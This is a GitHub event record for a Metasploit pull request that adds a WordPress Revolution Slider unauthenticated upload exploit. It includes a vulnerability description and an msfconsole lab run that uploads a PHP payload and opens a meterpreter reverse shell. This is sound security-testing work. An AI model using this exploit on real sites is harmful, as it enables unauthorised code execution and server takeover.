{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5290","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5290/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5290/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5290/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5290","id":72656791,"number":5290,"title":"Add Wordpress RevSlider File Upload and Execute Vulnerability","user":{"login":"TomSellers","id":6500426,"avatar_url":"https://avatars.githubusercontent.com/u/6500426?v=3","gravatar_id":"","url":"https://api.github.com/users/TomSellers","html_url":"https://github.com/TomSellers","followers_url":"https://api.github.com/users/TomSellers/followers","following_url":"https://api.github.com/users/TomSellers/following{/other_user}","gists_url":"https://api.github.com/users/TomSellers/gists{/gist_id}","starred_url":"https://api.github.com/users/TomSellers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TomSellers/subscriptions","organizations_url":"https://api.github.com/users/TomSellers/orgs","repos_url":"https://api.github.com/users/TomSellers/repos","events_url":"https://api.github.com/users/TomSellers/events{/privacy}","received_events_url":"https://api.github.com/users/TomSellers/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"closed","locked":false,"assignee":{"login":"FireFart","id":105281,"avatar_url":"https://avatars.githubusercontent.com/u/105281?v=3","gravatar_id":"","url":"https://api.github.com/users/FireFart","html_url":"https://github.com/FireFart","followers_url":"https://api.github.com/users/FireFart/followers","following_url":"https://api.github.com/users/FireFart/following{/other_user}","gists_url":"https://api.github.com/users/FireFart/gists{/gist_id}","starred_url":"https://api.github.com/users/FireFart/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FireFart/subscriptions","organizations_url":"https://api.github.com/users/FireFart/orgs","repos_url":"https://api.github.com/users/FireFart/repos","events_url":"https://api.github.com/users/FireFart/events{/privacy}","received_events_url":"https://api.github.com/users/FireFart/received_events","type":"User","site_admin":false},"milestone":null,"comments":16,"created_at":"2015-05-02T14:53:53Z","updated_at":"2015-05-09T23:02:34Z","closed_at":"2015-05-07T20:16:52Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5290","html_url":"https://github.com/rapid7/metasploit-framework/pull/5290","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5290.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5290.patch"},"body":"**Add Wordpress RevSlider File Upload and Execute Vulnerability**\r\n\r\n**Description**\r\n\r\nThemePunch Revolution Slider, according to the vendor, is the #1 WordPress Slider plugin available with over 55,000 sales [1]  on CodeCanyon.\r\n\r\nThemePunch Revolution Slider ( revslider ) 3.0.95 and prior have a vulnerability the permits arbitrary file uploads by unauthenticated users.  This is due a logic error that registered WordPress ajax actions for both privileged and unprivileged users.  As the plugin provides the ability to update itself this enables unauthenticated users to upload a zip file that will be unpacked and copied into place.  If the zip file contains a file named revslider.php in the revslider directory then this file will be copied over the main plugin file and executed.  While this enables code execution without having to make a second HTTP request, it breaks the revslider plugin and often WordPress.  If the file doesn't contain the revslider.php file, the contents of the zip will be unpacked and an error returned to the caller.  The unpacked files are left in place and can be called remotely via a HTTP GET to trigger the payload.\r\n\r\nThis module is a port of an existing publicly available exploit [2]. The vulnerability is actively being exploited on the internet.\r\n\r\n\r\n**Verification**\r\n\r\n- [x] Install WordPress [3]\r\n- [x] Locate and install a version of Revolution Slider 3.0.95 or earlier\r\n    - [x]  Sign into WordPress as an admin\r\n    - [x]  Select Plugins on the left\r\n    - [x]  To the right of Plugins at the top of the page, click Add New\r\n    - [x]  To the right of Add Plugins at the top of the page, click Upload Plugin\r\n    - [x]  Click Choose File, chose the zip containing the plugin, click Ok\r\n    - [x]  Click Install Now\r\n    - [x]  Click Activate Plugin\r\n- [x] Launch msfconsole\r\n\r\n```\r\nmsf > use exploit/unix/webapp/wp_revslider_upload_execute\r\nmsf exploit(wp_revslider_upload_execute) > info\r\n\r\n       Name: Wordpress RevSlider File Upload and Execute Vulnerability\r\n     Module: exploit/unix/webapp/wp_revslider_upload_execute\r\n   Platform: PHP\r\n Privileged: No\r\n    License: Metasploit Framework License (BSD)\r\n       Rank: Excellent\r\n  Disclosed: 2015-11-26\r\n\r\nProvided by:\r\n  Simo Ben youssef\r\n  Tom Sellers <tom@fadedcode.net>\r\n\r\nAvailable targets:\r\n  Id  Name\r\n  --  ----\r\n  0   ThemePunch Revolution Slider (revslider) 3.0.95\r\n\r\nBasic options:\r\n  Name       Current Setting  Required  Description\r\n  ----       ---------------  --------  -----------\r\n  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]\r\n  RHOST                       yes       The target address\r\n  RPORT      80               yes       The target port\r\n  TARGETURI                   yes       The base path to the wordpress application\r\n  VHOST                       no        HTTP server virtual host\r\n\r\nPayload information:\r\n\r\nDescription:\r\n  This module exploits an arbitrary PHP code upload in the WordPress \r\n  ThemePunch Revolution Slider ( revslider ) plugin, version 3.0.95 \r\n  and prior. The vulnerability allows for arbitrary file upload and \r\n  remote code execution.\r\n\r\nReferences:\r\n  https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/\r\n  https://www.exploit-db.com/exploits/35385/\r\n  http://www.exploit-db.com/exploits/35385\r\n  http://www.osvdb.org/115118\r\n\r\nmsf exploit(wp_revslider_upload_execute) > show options\r\n\r\nModule options (exploit/unix/webapp/wp_revslider_upload_execute):\r\n\r\n   Name       Current Setting  Required  Description\r\n   ----       ---------------  --------  -----------\r\n   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOST                       yes       The target address\r\n   RPORT      80               yes       The target port\r\n   TARGETURI                   yes       The base path to the wordpress application\r\n   VHOST                       no        HTTP server virtual host\r\n\r\n\r\nPayload options (php/meterpreter/reverse_tcp):\r\n\r\n   Name   Current Setting  Required  Description\r\n   ----   ---------------  --------  -----------\r\n   LHOST  10.10.20.150     yes       The listen address\r\n   LPORT  4444             yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   ThemePunch Revolution Slider (revslider) 3.0.95\r\n\r\n\r\nmsf exploit(wp_revslider_upload_execute) > set RHOST 10.10.10.11\r\nRHOST => 10.10.10.11\r\nmsf exploit(wp_revslider_upload_execute) > set TARGETURI /wordpress\r\nTARGETURI => /wordpress\r\nmsf exploit(wp_revslider_upload_execute) > exploit\r\n\r\n[*] Started reverse handler on 10.10.20.150:4444 \r\n[+] 10.10.10.11:80 - Our payload is at: /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/zQvxQ.php\r\n[*] 10.10.10.11:80 - Calling payload...\r\n[*] Sending stage (40499 bytes) to 10.10.10.11\r\n[*] Meterpreter session 8 opened (10.10.20.150:4444 -> 10.10.10.11:49224) at 2015-05-02 09:31:24 -0500\r\n[+] Deleted zQvxQ.php\r\n[+] Deleted ../revslider.zip\r\n\r\ngetuid\r\n\r\nmeterpreter > \r\nmeterpreter > getuid\r\nServer username: IUSR (0)\r\nmeterpreter > sysinfo\r\nComputer    : VICSERVER01\r\nOS          : Windows NT VICSERVER01 6.2 build 9200 (Unknown Windows version Datacenter Edition) i586\r\nMeterpreter : php/php\r\nmeterpreter > \r\n\r\n```\r\n\r\n\r\nMy testing was performed against a Windows 2012 R2 server running WordPress 4.2 and Revolution Slider 3.0.95.  The output above was with VERBOSE set to true.\r\n\r\nOn a related note, the WordPress exploits are in modules/exploits/unix/webapp.  Should these be moved to modules/exploits/multi/http?\r\n\r\n\r\nReferences:\r\n\r\n1. http://codecanyon.net/item/slider-revolution-responsive-wordpress-plugin/2751380\r\n\r\n2. https://www.exploit-db.com/exploits/35385/\r\n\r\n3. On Windows the Web Platform installer can be used to install Wordpress, MySQL, and other deps easily\r\n   https://codex.wordpress.org/Installing_WordPress#Easy_5_Minute_WordPress_Installation_on_Windows\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/100558667","html_url":"https://github.com/rapid7/metasploit-framework/pull/5290#issuecomment-100558667","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5290","id":100558667,"user":{"login":"FireFart","id":105281,"avatar_url":"https://avatars.githubusercontent.com/u/105281?v=3","gravatar_id":"","url":"https://api.github.com/users/FireFart","html_url":"https://github.com/FireFart","followers_url":"https://api.github.com/users/FireFart/followers","following_url":"https://api.github.com/users/FireFart/following{/other_user}","gists_url":"https://api.github.com/users/FireFart/gists{/gist_id}","starred_url":"https://api.github.com/users/FireFart/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FireFart/subscriptions","organizations_url":"https://api.github.com/users/FireFart/orgs","repos_url":"https://api.github.com/users/FireFart/repos","events_url":"https://api.github.com/users/FireFart/events{/privacy}","received_events_url":"https://api.github.com/users/FireFart/received_events","type":"User","site_admin":false},"created_at":"2015-05-09T23:02:34Z","updated_at":"2015-05-09T23:02:34Z","body":"@espreto looks like they are almost the same. We could use ACTIONs in the revslider module to also support showbiz or create a standalone module. I'm not sure what's the best way in this case :)"}}